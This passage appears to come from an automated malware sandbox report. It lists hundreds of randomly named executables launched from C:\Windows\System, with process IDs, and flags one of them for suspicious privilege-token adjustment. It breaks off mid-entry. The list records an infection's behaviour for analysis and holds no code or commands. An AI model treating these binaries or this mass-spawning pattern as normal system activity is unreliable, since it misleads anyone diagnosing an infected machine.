- C:\Windows\System\NFzuSKK.exe
  C:\Windows\System\NFzuSKK.exe
  2⤵
  PID:5140
- C:\Windows\System\HrKDngL.exe
  C:\Windows\System\HrKDngL.exe
  2⤵
  PID:5276
- C:\Windows\System\cVydAem.exe
  C:\Windows\System\cVydAem.exe
  2⤵
  PID:5372
- C:\Windows\System\HgqJXWf.exe
  C:\Windows\System\HgqJXWf.exe
  2⤵
  PID:5832
- C:\Windows\System\RGtbLWA.exe
  C:\Windows\System\RGtbLWA.exe
  2⤵
  PID:6008
- C:\Windows\System\ZGwEViy.exe
  C:\Windows\System\ZGwEViy.exe
  2⤵
  PID:6040
- C:\Windows\System\ILzfDAl.exe
  C:\Windows\System\ILzfDAl.exe
  2⤵
  PID:6152
- C:\Windows\System\GIONZzr.exe
  C:\Windows\System\GIONZzr.exe
  2⤵
  PID:6168
- C:\Windows\System\PzNcTYG.exe
  C:\Windows\System\PzNcTYG.exe
  2⤵
  PID:6184
- C:\Windows\System\PDsmCGl.exe
  C:\Windows\System\PDsmCGl.exe
  2⤵
  PID:6200
- C:\Windows\System\HCLUxKH.exe
  C:\Windows\System\HCLUxKH.exe
  2⤵
  PID:6216
- C:\Windows\System\UcBQqAf.exe
  C:\Windows\System\UcBQqAf.exe
  2⤵
  PID:6232
- C:\Windows\System\vbPIzLS.exe
  C:\Windows\System\vbPIzLS.exe
  2⤵
  PID:6260
- C:\Windows\System\JERjIvb.exe
  C:\Windows\System\JERjIvb.exe
  2⤵
  PID:6276
- C:\Windows\System\SJYZpjH.exe
  C:\Windows\System\SJYZpjH.exe
  2⤵
  PID:6292
- C:\Windows\System\rUEQQTA.exe
  C:\Windows\System\rUEQQTA.exe
  2⤵
  PID:6308
- C:\Windows\System\BBmDsVc.exe
  C:\Windows\System\BBmDsVc.exe
  2⤵
  PID:6324
- C:\Windows\System\BmAalDc.exe
  C:\Windows\System\BmAalDc.exe
  2⤵
  PID:6340
- C:\Windows\System\GglADtS.exe
  C:\Windows\System\GglADtS.exe
  2⤵
  PID:6356
- C:\Windows\System\hIdZZuP.exe
  C:\Windows\System\hIdZZuP.exe
  2⤵
  PID:6372
- C:\Windows\System\xpYzusD.exe
  C:\Windows\System\xpYzusD.exe
  2⤵
  PID:6388
- C:\Windows\System\HHxQQli.exe
  C:\Windows\System\HHxQQli.exe
  2⤵
  PID:6404
- C:\Windows\System\PZSTqVp.exe
  C:\Windows\System\PZSTqVp.exe
  2⤵
  PID:6420
- C:\Windows\System\ouhFLaR.exe
  C:\Windows\System\ouhFLaR.exe
  2⤵
  PID:6436
- C:\Windows\System\jIjTJDf.exe
  C:\Windows\System\jIjTJDf.exe
  2⤵
  PID:6452
- C:\Windows\System\SyVtoQt.exe
  C:\Windows\System\SyVtoQt.exe
  2⤵
  PID:6468
- C:\Windows\System\MFsWdXP.exe
  C:\Windows\System\MFsWdXP.exe
  2⤵
  PID:6484
- C:\Windows\System\qmQEaaI.exe
  C:\Windows\System\qmQEaaI.exe
  2⤵
  PID:6500
- C:\Windows\System\tcscPlJ.exe
  C:\Windows\System\tcscPlJ.exe
  2⤵
  PID:6516
- C:\Windows\System\rLFtckD.exe
  C:\Windows\System\rLFtckD.exe
  2⤵
  PID:6532
- C:\Windows\System\rCimltb.exe
  C:\Windows\System\rCimltb.exe
  2⤵
  PID:6548
- C:\Windows\System\TMKdvEE.exe
  C:\Windows\System\TMKdvEE.exe
  2⤵
  PID:6564
- C:\Windows\System\pToAeyz.exe
  C:\Windows\System\pToAeyz.exe
  2⤵
  PID:6584
- C:\Windows\System\dKdygnx.exe
  C:\Windows\System\dKdygnx.exe
  2⤵
  PID:6600
- C:\Windows\System\CZoJKAp.exe
  C:\Windows\System\CZoJKAp.exe
  2⤵
  PID:6616
- C:\Windows\System\ibLvEcO.exe
  C:\Windows\System\ibLvEcO.exe
  2⤵
  PID:6632
- C:\Windows\System\dGkWAbp.exe
  C:\Windows\System\dGkWAbp.exe
  2⤵
  PID:6648
- C:\Windows\System\nnkjzaQ.exe
  C:\Windows\System\nnkjzaQ.exe
  2⤵
  PID:6664
- C:\Windows\System\tyuCApd.exe
  C:\Windows\System\tyuCApd.exe
  2⤵
  PID:6680
- C:\Windows\System\uoElQbQ.exe
  C:\Windows\System\uoElQbQ.exe
  2⤵
  PID:6696
- C:\Windows\System\zUUIqZh.exe
  C:\Windows\System\zUUIqZh.exe
  2⤵
  PID:6712
- C:\Windows\System\wyrjBeD.exe
  C:\Windows\System\wyrjBeD.exe
  2⤵
  PID:6728
- C:\Windows\System\OjyrTIv.exe
  C:\Windows\System\OjyrTIv.exe
  2⤵
  PID:6744
- C:\Windows\System\zszGdXZ.exe
  C:\Windows\System\zszGdXZ.exe
  2⤵
  PID:6760
- C:\Windows\System\ypRKbxk.exe
  C:\Windows\System\ypRKbxk.exe
  2⤵
  PID:6780
- C:\Windows\System\otFaYuC.exe
  C:\Windows\System\otFaYuC.exe
  2⤵
  PID:6796
- C:\Windows\System\CHEBfTX.exe
  C:\Windows\System\CHEBfTX.exe
  2⤵
  PID:6812
- C:\Windows\System\eadxBGM.exe
  C:\Windows\System\eadxBGM.exe
  2⤵
  PID:6828
- C:\Windows\System\obvrUdh.exe
  C:\Windows\System\obvrUdh.exe
  2⤵
  PID:6844
- C:\Windows\System\Jahpjtr.exe
  C:\Windows\System\Jahpjtr.exe
  2⤵
  PID:6860
- C:\Windows\System\smZNwJW.exe
  C:\Windows\System\smZNwJW.exe
  2⤵
  PID:6880
- C:\Windows\System\vKIkeRx.exe
  C:\Windows\System\vKIkeRx.exe
  2⤵
  PID:6896
- C:\Windows\System\VeaYQuN.exe
  C:\Windows\System\VeaYQuN.exe
  2⤵
  PID:6912
- C:\Windows\System\USUNayp.exe
  C:\Windows\System\USUNayp.exe
  2⤵
  PID:6928
- C:\Windows\System\HrhomrZ.exe
  C:\Windows\System\HrhomrZ.exe
  2⤵
  PID:6944
- C:\Windows\System\nhWFxha.exe
  C:\Windows\System\nhWFxha.exe
  2⤵
  PID:6960
- C:\Windows\System\YidGpEH.exe
  C:\Windows\System\YidGpEH.exe
  2⤵
  PID:6976
- C:\Windows\System\BBRSFvZ.exe
  C:\Windows\System\BBRSFvZ.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6992
- C:\Windows\System\jpLJPYq.exe
  C:\Windows\System\jpLJPYq.exe
  2⤵
  PID:7008
- C:\Windows\System\ImLWZpZ.exe
  C:\Windows\System\ImLWZpZ.exe
  2⤵
  PID:7024
- C:\Windows\System\oKVHDrE.exe
  C:\Windows\System\oKVHDrE.exe
  2⤵
  PID:7040
- C:\Windows\System\JUAEzGv.exe
  C:\Windows\System\JUAEzGv.exe
  2⤵
  PID:7056
- C:\Windows\System\eAulyQG.exe
  C:\Windows\System\eAulyQG.exe
  2⤵
  PID:7072
- C:\Windows\System\rewTTaQ.exe
  C:\Windows\System\rewTTaQ.exe
  2⤵
  PID:7088
- C:\Windows\System\jWfcmmo.exe
  C:\Windows\System\jWfcmmo.exe
  2⤵
  PID:7108
- C:\Windows\System\RJEPXnN.exe
  C:\Windows\System\RJEPXnN.exe
  2⤵
  PID:7124
- C:\Windows\System\mGixxuY.exe
  C:\Windows\System\mGixxuY.exe
  2⤵
  PID:7140
- C:\Windows\System\pwMoZZd.exe
  C:\Windows\System\pwMoZZd.exe
  2⤵
  PID:7156
- C:\Windows\System\CGKXGaK.exe
  C:\Windows\System\CGKXGaK.exe
  2⤵
  PID:4640
- C:\Windows\System\yfqesyH.exe
  C:\Windows\System\yfqesyH.exe
  2⤵
  PID:3960
- C:\Windows\System\sBUbvLa.exe
  C:\Windows\System\sBUbvLa.exe
  2⤵
  PID:4788
- C:\Windows\System\xwsGmeM.exe
  C:\Windows\System\xwsGmeM.exe
  2⤵
  PID:6180
- C:\Windows\System\rDZfhCD.exe
  C:\Windows\System\rDZfhCD.exe
  2⤵
  PID:6224
- C:\Windows\System\JYrewHB.exe
  C:\Windows\System\JYrewHB.exe
  2⤵
  PID:6004
- C:\Windows\System\ocfcRar.exe
  C:\Windows\System\ocfcRar.exe
  2⤵
  PID:6228
- C:\Windows\System\mqklFgT.exe
  C:\Windows\System\mqklFgT.exe
  2⤵
  PID:6252
- C:\Windows\System\CAnvVPO.exe
  C:\Windows\System\CAnvVPO.exe
  2⤵
  PID:6300
- C:\Windows\System\EwegxFW.exe
  C:\Windows\System\EwegxFW.exe
  2⤵
  PID:6364
- C:\Windows\System\jUWODoU.exe
  C:\Windows\System\jUWODoU.exe
  2⤵
  PID:6428
- C:\Windows\System\CFYhsjQ.exe
  C:\Windows\System\CFYhsjQ.exe
  2⤵
  PID:6492
- C:\Windows\System\TgYBUxp.exe
  C:\Windows\System\TgYBUxp.exe
  2⤵
  PID:6556
- C:\Windows\System\gPaLuTG.exe
  C:\Windows\System\gPaLuTG.exe
  2⤵
  PID:6624
- C:\Windows\System\xgYvxcw.exe
  C:\Windows\System\xgYvxcw.exe
  2⤵
  PID:6688
- C:\Windows\System\rPbdEqQ.exe
  C:\Windows\System\rPbdEqQ.exe
  2⤵
  PID:6752
- C:\Windows\System\jGKyzcS.exe
  C:\Windows\System\jGKyzcS.exe
  2⤵
  PID:6820
- C:\Windows\System\BKzSURk.exe
  C:\Windows\System\BKzSURk.exe
  2⤵
  PID:6888
- C:\Windows\System\jKaRvhr.exe
  C:\Windows\System\jKaRvhr.exe
  2⤵
  PID:6952
- C:\Windows\System\vWjZAQJ.exe
  C:\Windows\System\vWjZAQJ.exe
  2⤵
  PID:6984
- C:\Windows\System\DvnSzPZ.exe
  C:\Windows\System\DvnSzPZ.exe
  2⤵
  PID:7016
- C:\Windows\System\DJPuZdc.exe
  C:\Windows\System\DJPuZdc.exe
  2⤵
  PID:6444
- C:\Windows\System\YiSIsNv.exe
  C:\Windows\System\YiSIsNv.exe
  2⤵
  PID:7084
- C:\Windows\System\WbQsvoZ.exe
  C:\Windows\System\WbQsvoZ.exe
  2⤵
  PID:6316
- C:\Windows\System\VrhfndS.exe
  C:\Windows\System\VrhfndS.exe
  2⤵
  PID:6348
- C:\Windows\System\SrxxdZV.exe
  C:\Windows\System\SrxxdZV.exe
  2⤵
  PID:6416
- C:\Windows\System\kCjTCGb.exe
  C:\Windows\System\kCjTCGb.exe
  2⤵
  PID:6508
- C:\Windows\System\KyyqRwx.exe
  C:\Windows\System\KyyqRwx.exe
  2⤵
  PID:6572
- C:\Windows\System\wefsQdy.exe
  C:\Windows\System\wefsQdy.exe
  2⤵
  PID:6612
- C:\Windows\System\OYtLYia.exe
  C:\Windows\System\OYtLYia.exe
  2⤵
  PID:6736
- C:\Windows\System\joUUiQs.exe
  C:\Windows\System\joUUiQs.exe
  2⤵
  PID:7004
- C:\Windows\System\TDLSGPC.exe
  C:\Windows\System\TDLSGPC.exe
  2⤵
  PID:6840
- C:\Windows\System\SOHqVcb.exe
  C:\Windows\System\SOHqVcb.exe
  2⤵
  PID:6904
- C:\Windows\System\slxnvbV.exe
  C:\Windows\System\slxnvbV.exe
  2⤵
  PID:7096
- C:\Windows\System\gFQbgIh.exe
  C:\Windows\System\gFQbgIh.exe
  2⤵
  PID:7036
- C:\Windows\System\nXPQzSG.exe
  C:\Windows\System\nXPQzSG.exe
  2⤵
  PID:7104
- C:\Windows\System\SMWysQg.exe
  C:\Windows\System\SMWysQg.exe
  2⤵
  PID:7164
- C:\Windows\System\LthyQhb.exe
  C:\Windows\System\LthyQhb.exe
  2⤵
  PID:6176
- C:\Windows\System\SlchPmv.exe
  C:\Windows\System\SlchPmv.exe
  2⤵
  PID:6244
- C:\Windows\System\muVxNhu.exe
  C:\Windows\System\muVxNhu.exe
  2⤵
  PID:6336
- C:\Windows\System\WwRsQYV.exe
  C:\Windows\System\WwRsQYV.exe
  2⤵
  PID:6164
- C:\Windows\System\lsLCzon.exe
  C:\Windows\System\lsLCzon.exe
  2⤵
  PID:5540
- C:\Windows\System\ZjZQjPl.exe
  C:\Windows\System\ZjZQjPl.exe
  2⤵
  PID:6596
- C:\Windows\System\dPfPfDv.exe
  C:\Windows\System\dPfPfDv.exe
  2⤵
  PID:6852
- C:\Windows\System\mXAPKXS.exe
  C:\Windows\System\mXAPKXS.exe
  2⤵
  PID:6288
- C:\Windows\System\WLdeFNQ.exe
  C:\Windows\System\WLdeFNQ.exe
  2⤵
  PID:6380
- C:\Windows\System\oSJLpvZ.exe
  C:\Windows\System\oSJLpvZ.exe
  2⤵
  PID:6676
- C:\Windows\System\EIecQSF.exe
  C:\Windows\System\EIecQSF.exe
  2⤵
  PID:7052
- C:\Windows\System\PsyYujc.exe
  C:\Windows\System\PsyYujc.exe
  2⤵
  PID:6528
- C:\Windows\System\lidJPEz.exe
  C:\Windows\System\lidJPEz.exe
  2⤵
  PID:6792
- C:\Windows\System\jQLFzvB.exe
  C:\Windows\System\jQLFzvB.exe
  2⤵
  PID:6920
- C:\Windows\System\HQMrczs.exe
  C:\Windows\System\HQMrczs.exe
  2⤵
  PID:7068
- C:\Windows\System\nMuRzwn.exe
  C:\Windows\System\nMuRzwn.exe
  2⤵
  PID:5924
- C:\Windows\System\ImKQMuF.exe
  C:\Windows\System\ImKQMuF.exe
  2⤵
  PID:6768
- C:\Windows\System\eOHQLfR.exe
  C:\Windows\System\eOHQLfR.exe
  2⤵
  PID:6044
- C:\Windows\System\NlqsnFr.exe
  C:\Windows\System\NlqsnFr.exe
  2⤵
  PID:6460
- C:\Windows\System\qjfpGOz.exe
  C:\Windows\System\qjfpGOz.exe
  2⤵
  PID:5488
- C:\Windows\System\CTpSOGb.exe
  C:\Windows\System\CTpSOGb.exe
  2⤵
  PID:5856
- C:\Windows\System\kmCMKgi.exe
  C:\Windows\System\kmCMKgi.exe
  2⤵
  PID:6644
- C:\Windows\System\vEGgRGI.exe
  C:\Windows\System\vEGgRGI.exe
  2⤵
  PID:6776
- C:\Windows\System\PegyJjW.exe
  C:\Windows\System\PegyJjW.exe
  2⤵
  PID:6988
- C:\Windows\System\ADGEfDQ.exe
  C:\Windows\System\ADGEfDQ.exe
  2⤵
  PID:6100
- C:\Windows\System\sTmjgVR.exe
  C:\Windows\System\sTmjgVR.exe
  2⤵
  PID:6580
- C:\Windows\System\EjkruZn.exe
  C:\Windows\System\EjkruZn.exe
  2⤵
  PID:1492
- C:\Windows\System\zTkwshj.exe
  C:\Windows\System\zTkwshj.exe
  2⤵
  PID:7176
- C:\Windows\System\jygjEqU.exe
  C:\Windows\System\jygjEqU.exe
  2⤵
  PID:7192
- C:\Windows\System\KrQYrPF.exe
  C:\Windows\System\KrQYrPF.exe
  2⤵
  PID:7208
- C:\Windows\System\INwwkgH.exe
  C:\Windows\System\INwwkgH.exe
  2⤵
  PID:7224
- C:\Windows\System\MDUeyKd.exe
  C:\Windows\System\MDUeyKd.exe
  2⤵
  PID:7240
- C:\Windows\System\BtonBhy.exe
  C:\Windows\System\BtonBhy.exe
  2⤵
  PID:7256
- C:\Windows\System\InPLqBv.exe
  C:\Windows\System\InPLqBv.exe
  2⤵
  PID:7272
- C:\Windows\System\GuNXLUM.exe
  C:\Windows\System\GuNXLUM.exe
  2⤵
  PID:7288
- C:\Windows\System\ctoAkhg.exe
  C:\Windows\System\ctoAkhg.exe
  2⤵
  PID:7304
- C:\Windows\System\SWoTHLQ.exe
  C:\Windows\System\SWoTHLQ.exe
  2⤵
  PID:7320
- C:\Windows\System\HpnPkjy.exe
  C:\Windows\System\HpnPkjy.exe
  2⤵
  PID:7336
- C:\Windows\System\cjREKhG.exe
  C:\Windows\System\cjREKhG.exe
  2⤵
  PID:7352
- C:\Windows\System\WlYPEyX.exe
  C:\Windows\System\WlYPEyX.exe
  2⤵
  PID:7368
- C:\Windows\System\EIflPQN.exe
  C:\Windows\System\EIflPQN.exe
  2⤵
  PID:7384
- C:\Windows\System\GyMckxJ.exe
  C:\Windows\System\GyMckxJ.exe
  2⤵
  PID:7400
- C:\Windows\System\uVPBKXz.exe
  C:\Windows\System\uVPBKXz.exe
  2⤵
  PID:7416
- C:\Windows\System\VocniKP.exe
  C:\Windows\System\VocniKP.exe
  2⤵
  PID:7432
- C:\Windows\System\uySuWFZ.exe
  C:\Windows\System\uySuWFZ.exe
  2⤵
  PID:7448
- C:\Windows\System\ijOmcqW.exe
  C:\Windows\System\ijOmcqW.exe
  2⤵
  PID:7464
- C:\Windows\System\VEqmydU.exe
  C:\Windows\System\VEqmydU.exe
  2⤵
  PID:7484
- C:\Windows\System\lxlyNEf.exe
  C:\Windows\System\lxlyNEf.exe
  2⤵
  PID:7500
- C:\Windows\System\nnHainQ.exe
  C:\Windows\System\nnHainQ.exe
  2⤵
  PID:7516
- C:\Windows\System\PJJoxKM.exe
  C:\Windows\System\PJJoxKM.exe
  2⤵
  PID:7532
- C:\Windows\System\fzBPDOL.exe
  C:\Windows\System\fzBPDOL.exe
  2⤵
  PID:7548
- C:\Windows\System\RvLVsxW.exe
  C:\Windows\System\RvLVsxW.exe
  2⤵
  PID:7564
- C:\Windows\System\AFeGklf.exe
  C:\Windows\System\AFeGklf.exe
  2⤵
  PID:7580
- C:\Windows\System\CGycYVo.exe
  C:\Windows\System\CGycYVo.exe
  2⤵
  PID:7596
- C:\Windows\System\pRfokus.exe
  C:\Windows\System\pRfokus.exe
  2⤵
  PID:7612
- C:\Windows\System\hbcIxwx.exe
  C:\Windows\System\hbcIxwx.exe
  2⤵
  PID:7628
- C:\Windows\System\cmTAAWf.exe
  C:\Windows\System\cmTAAWf.exe
  2⤵
  PID:7644
- C:\Windows\System\iAdecan.exe
  C:\Windows\System\iAdecan.exe
  2⤵
  PID:7660
- C:\Windows\System\UmgBzUb.exe
  C:\Windows\System\UmgBzUb.exe
  2⤵
  PID:7680
- C:\Windows\System\DsUcnML.exe
  C:\Windows\System\DsUcnML.exe
  2⤵
  PID:7696
- C:\Windows\System\QZGYMIA.exe
  C:\Windows\System\QZGYMIA.exe
  2⤵
  PID:7712
- C:\Windows\System\xeFnEgm.exe
  C:\Windows\System\xeFnEgm.exe
  2⤵
  PID:7728
- C:\Windows\System\TGSisYm.exe
  C:\Windows\System\TGSisYm.exe
  2⤵
  PID:7744
- C:\Windows\System\KnWxpdl.exe
  C:\Windows\System\KnWxpdl.exe
  2⤵
  PID:7760
- C:\Windows\System\EPmIuuJ.exe
  C:\Windows\System\EPmIuuJ.exe
  2⤵
  PID:7776
- C:\Windows\System\qFSAFbW.exe
  C:\Windows\System\qFSAFbW.exe
  2⤵
  PID:7792
- C:\Windows\System\zVBtSoH.exe
  C:\Windows\System\zVBtSoH.exe
  2⤵
  PID:7808
- C:\Windows\System\aIvYBWE.exe
  C:\Windows\System\aIvYBWE.exe
  2⤵
  PID:7824
- C:\Windows\System\hVxjlRm.exe
  C:\Windows\System\hVxjlRm.exe
  2⤵
  PID:7840
- C:\Windows\System\taVPSEX.exe
  C:\Windows\System\taVPSEX.exe
  2⤵
  PID:7856
- C:\Windows\System\zCavhvV.exe
  C:\Windows\System\zCavhvV.exe
  2⤵
  PID:7876
- C:\Windows\System\aywMfnQ.exe
  C:\Windows\System\aywMfnQ.exe
  2⤵
  PID:7892
- C:\Windows\System\ZDPsuvh.exe
  C:\Windows\System\ZDPsuvh.exe
  2⤵
  PID:7908
- C:\Windows\System\YKFqzlz.exe
  C:\Windows\System\YKFqzlz.exe
  2⤵
  PID:7928
- C:\Windows\System\qygcmbW.exe
  C:\Windows\System\qygcmbW.exe
  2⤵
  PID:7944
- C:\Windows\System\AHnexPt.exe
  C:\Windows\System\AHnexPt.exe
  2⤵
  PID:7960
- C:\Windows\System\LOyOdgL.exe
  C:\Windows\System\LOyOdgL.exe
  2⤵
  PID:8112
- C:\Windows\System\kcnrEdW.exe
  C:\Windows\System\kcnrEdW.exe
  2⤵
  PID:8128
- C:\Windows\System\DMnsWoo.exe
  C:\Windows\System\DMnsWoo.exe
  2⤵
  PID:8144
- C:\Windows\System\cGuxNGE.exe
  C:\Windows\System\cGuxNGE.exe
  2⤵
  PID:8160
- C:\Windows\System\UZtzibe.exe
  C:\Windows\System\UZtzibe.exe
  2⤵
  PID:8176
- C:\Windows\System\xVIdxuy.exe
  C:\Windows\System\xVIdxuy.exe
  2⤵
  PID:6808
- C:\Windows\System\jLrFeXq.exe
  C:\Windows\System\jLrFeXq.exe
  2⤵
  PID:7220
- C:\Windows\System\omxOytA.exe
  C:\Windows\System\omxOytA.exe
  2⤵
  PID:7080
- C:\Windows\System\ibqfEai.exe
  C:\Windows\System\ibqfEai.exe
  2⤵
  PID:7316
- C:\Windows\System\nrtHdKA.exe
  C:\Windows\System\nrtHdKA.exe
  2⤵
  PID:7032
- C:\Windows\System\KYhQOii.exe
  C:\Windows\System\KYhQOii.exe
  2⤵
  PID:7296
- C:\Windows\System\YBhospK.exe
  C:\Windows\System\YBhospK.exe
  2⤵
  PID:6660
- C:\Windows\System\lsGBnoj.exe
  C:\Windows\System\lsGBnoj.exe
  2⤵
  PID:7132
- C:\Windows\System\iyXUxvt.exe
  C:\Windows\System\iyXUxvt.exe
  2⤵
  PID:6464
- C:\Windows\System\xeHeTvq.exe
  C:\Windows\System\xeHeTvq.exe
  2⤵
  PID:7204
- C:\Windows\System\ztDPjPb.exe
  C:\Windows\System\ztDPjPb.exe
  2⤵
  PID:7268
- C:\Windows\System\PyEeega.exe
  C:\Windows\System\PyEeega.exe
  2⤵
  PID:7392
- C:\Windows\System\ZYidCYM.exe
  C:\Windows\System\ZYidCYM.exe
  2⤵
  PID:7444
- C:\Windows\System\WzvlvqN.exe
  C:\Windows\System\WzvlvqN.exe
  2⤵
  PID:7456
- C:\Windows\System\zdqpbDs.exe
  C:\Windows\System\zdqpbDs.exe
  2⤵
  PID:7508
- C:\Windows\System\XIEvNwj.exe
  C:\Windows\System\XIEvNwj.exe
  2⤵
  PID:7492
- C:\Windows\System\gvksNwk.exe
  C:\Windows\System\gvksNwk.exe
  2⤵
  PID:7576
- C:\Windows\System\cmRkOqq.exe
  C:\Windows\System\cmRkOqq.exe
  2⤵
  PID:7588
- C:\Windows\System\xsVvozp.exe
  C:\Windows\System\xsVvozp.exe
  2⤵
  PID:7608
- C:\Windows\System\YJLQvwM.exe
  C:\Windows\System\YJLQvwM.exe
  2⤵
  PID:7672
- C:\Windows\System\YiPsiGc.exe
  C:\Windows\System\YiPsiGc.exe
  2⤵
  PID:7688
- C:\Windows\System\qeyxlns.exe
  C:\Windows\System\qeyxlns.exe
  2⤵
  PID:7752
- C:\Windows\System\vKTRDlx.exe
  C:\Windows\System\vKTRDlx.exe
  2⤵
  PID:7708
- C:\Windows\System\RDKLcDs.exe
  C:\Windows\System\RDKLcDs.exe
  2⤵
  PID:7804
- C:\Windows\System\UWILdek.exe
  C:\Windows\System\UWILdek.exe
  2⤵
  PID:7740
- C:\Windows\System\jeaZICG.exe
  C:\Windows\System\jeaZICG.exe
  2⤵
  PID:7820
- C:\Windows\System\SEfRXkg.exe
  C:\Windows\System\SEfRXkg.exe
  2⤵
  PID:7852
- C:\Windows\System\zTRMZrQ.exe
  C:\Windows\System\zTRMZrQ.exe
  2⤵
  PID:7940
- C:\Windows\System\mnkQMMl.exe
  C:\Windows\System\mnkQMMl.exe
  2⤵
  PID:7916
- C:\Windows\System\fyRBiSd.exe
  C:\Windows\System\fyRBiSd.exe
  2⤵
  PID:7952
- C:\Windows\System\gfjSnih.exe
  C:\Windows\System\gfjSnih.exe
  2⤵
  PID:7984
- C:\Windows\System\YkNXyGF.exe
  C:\Windows\System\YkNXyGF.exe
  2⤵
  PID:8000
- C:\Windows\System\yoQbXnV.exe
  C:\Windows\System\yoQbXnV.exe
  2⤵
  PID:8016
- C:\Windows\System\WrSenOG.exe
  C:\Windows\System\WrSenOG.exe
  2⤵
  PID:8032
- C:\Windows\System\BMKMnrc.exe
  C:\Windows\System\BMKMnrc.exe
  2⤵
  PID:8048
- C:\Windows\System\CgENMRb.exe
  C:\Windows\System\CgENMRb.exe
  2⤵
  PID:8060
- C:\Windows\System\TgMOxJJ.exe
  C:\Windows\System\TgMOxJJ.exe
  2⤵
  PID:8080
- C:\Windows\System\YRQEVIS.exe
  C:\Windows\System\YRQEVIS.exe
  2⤵
  PID:8104
- C:\Windows\System\LEgQilw.exe
  C:\Windows\System\LEgQilw.exe
  2⤵
  PID:7000
- C:\Windows\System\YiJgUkk.exe
  C:\Windows\System\YiJgUkk.exe
  2⤵
  PID:8168
- C:\Windows\System\GiKxzzY.exe
  C:\Windows\System\GiKxzzY.exe
  2⤵
  PID:6872
- C:\Windows\System\QUlkUSk.exe
  C:\Windows\System\QUlkUSk.exe
  2⤵
  PID:6804
- C:\Windows\System\DbJZzcq.exe
  C:\Windows\System\DbJZzcq.exe
  2⤵
  PID:7120
- C:\Windows\System\EZrsDRq.exe
  C:\Windows\System\EZrsDRq.exe
  2⤵
  PID:7172
- C:\Windows\System\DnpQrRb.exe
  C:\Windows\System\DnpQrRb.exe
  2⤵
  PID:7424
- C:\Windows\System\vLfqiVZ.exe
  C:\Windows\System\vLfqiVZ.exe
  2⤵
  PID:7396
- C:\Windows\System\PlFwdeW.exe
  C:\Windows\System\PlFwdeW.exe
  2⤵
  PID:7344
- C:\Windows\System\uMpntvH.exe
  C:\Windows\System\uMpntvH.exe
  2⤵
  PID:7480
- C:\Windows\System\aSJmFUP.exe
  C:\Windows\System\aSJmFUP.exe
  2⤵
  PID:7560
- C:\Windows\System\taAQaZt.exe
  C:\Windows\System\taAQaZt.exe
  2⤵
  PID:7668
- C:\Windows\System\JpEaBnu.exe
  C:\Windows\System\JpEaBnu.exe
  2⤵
  PID:7832
- C:\Windows\System\hCQbzGH.exe
  C:\Windows\System\hCQbzGH.exe
  2⤵
  PID:7936
- C:\Windows\System\zhovaSR.exe
  C:\Windows\System\zhovaSR.exe
  2⤵
  PID:7884
- C:\Windows\System\MqZdCGq.exe
  C:\Windows\System\MqZdCGq.exe
  2⤵
  PID:7604
- C:\Windows\System\IJmswAb.exe
  C:\Windows\System\IJmswAb.exe
  2⤵
  PID:7976
- C:\Windows\System\NOIKOiD.exe
  C:\Windows\System\NOIKOiD.exe
  2⤵
  PID:7992
- C:\Windows\System\XMVYqZk.exe
  C:\Windows\System\XMVYqZk.exe
  2⤵
  PID:8028
- C:\Windows\System\ezsAALH.exe
  C:\Windows\System\ezsAALH.exe
  2⤵
  PID:8040
- C:\Windows\System\KfsObao.exe
  C:\Windows\System\KfsObao.exe
  2⤵
  PID:8096
- C:\Windows\System\YAzFtEZ.exe
  C:\Windows\System\YAzFtEZ.exe
  2⤵
  PID:8152
- C:\Windows\System\bDTBMbo.exe
  C:\Windows\System\bDTBMbo.exe
  2⤵
  PID:7216
- C:\Windows\System\PxiKQUT.exe
  C:\Windows\System\PxiKQUT.exe
  2⤵
  PID:7408
- C:\Windows\System\KvIpXNF.exe
  C:\Windows\System\KvIpXNF.exe
  2⤵
  PID:7280
- C:\Windows\System\KcPaptn.exe
  C:\Windows\System\KcPaptn.exe
  2⤵
  PID:7848
- C:\Windows\System\whltwsy.exe
  C:\Windows\System\whltwsy.exe
  2⤵
  PID:7640
- C:\Windows\System\XrSjgVh.exe
  C:\Windows\System\XrSjgVh.exe
  2⤵
  PID:8064
- C:\Windows\System\RFEsQzU.exe
  C:\Windows\System\RFEsQzU.exe
  2⤵
  PID:7996
- C:\Windows\System\VFAFvJP.exe
  C:\Windows\System\VFAFvJP.exe
  2⤵
  PID:7772
- C:\Windows\System\RnuDAQB.exe
  C:\Windows\System\RnuDAQB.exe
  2⤵
  PID:8072
- C:\Windows\System\UpZtjik.exe
  C:\Windows\System\UpZtjik.exe
  2⤵
  PID:8092
- C:\Windows\System\AHUXPsF.exe
  C:\Windows\System\AHUXPsF.exe
  2⤵
  PID:7236
- C:\Windows\System\AUkeWeP.exe
  C:\Windows\System\AUkeWeP.exe
  2⤵
  PID:7572
- C:\Windows\System\rmVuXEz.exe
  C:\Windows\System\rmVuXEz.exe
  2⤵
  PID:7476
- C:\Windows\System\bzpSYtx.exe
  C:\Windows\System\bzpSYtx.exe
  2⤵
  PID:8012
- C:\Windows\System\HROZYIx.exe
  C:\Windows\System\HROZYIx.exe
  2⤵
  PID:8108
- C:\Windows\System\XvcrCiE.exe
  C:\Windows\System\XvcrCiE.exe
  2⤵
  PID:7544
- C:\Windows\System\uNPJmSQ.exe
  C:\Windows\System\uNPJmSQ.exe
  2⤵
  PID:7380
- C:\Windows\System\cnsoNHx.exe
  C:\Windows\System\cnsoNHx.exe
  2⤵
  PID:7332
- C:\Windows\System\bjaYsVv.exe
  C:\Windows\System\bjaYsVv.exe
  2⤵
  PID:8200
- C:\Windows\System\mXKAlEu.exe
  C:\Windows\System\mXKAlEu.exe
  2⤵
  PID:8216
- C:\Windows\System\fRaDGGx.exe
  C:\Windows\System\fRaDGGx.exe
  2⤵
  PID:8232
- C:\Windows\System\zMzGzZk.exe
  C:\Windows\System\zMzGzZk.exe
  2⤵
  PID:8248
- C:\Windows\System\esoULLA.exe
  C:\Windows\System\esoULLA.exe
  2⤵
  PID:8264
- C:\Windows\System\yAuHJIP.exe
  C:\Windows\System\yAuHJIP.exe
  2⤵
  PID:8280
- C:\Windows\System\GSJKSDT.exe
  C:\Windows\System\GSJKSDT.exe
  2⤵
  PID:8296
- C:\Windows\System\vaEInAM.exe
  C:\Windows\System\vaEInAM.exe
  2⤵
  PID:8312
- C:\Windows\System\OSVXhcl.exe
  C:\Windows\System\OSVXhcl.exe
  2⤵
  PID:8328
- C:\Windows\System\JeQBoaQ.exe
  C:\Windows\System\JeQBoaQ.exe
  2⤵
  PID:8344
- C:\Windows\System\dOdMDyC.exe
  C:\Windows\System\dOdMDyC.exe
  2⤵
  PID:8360
- C:\Windows\System\GvnRixl.exe
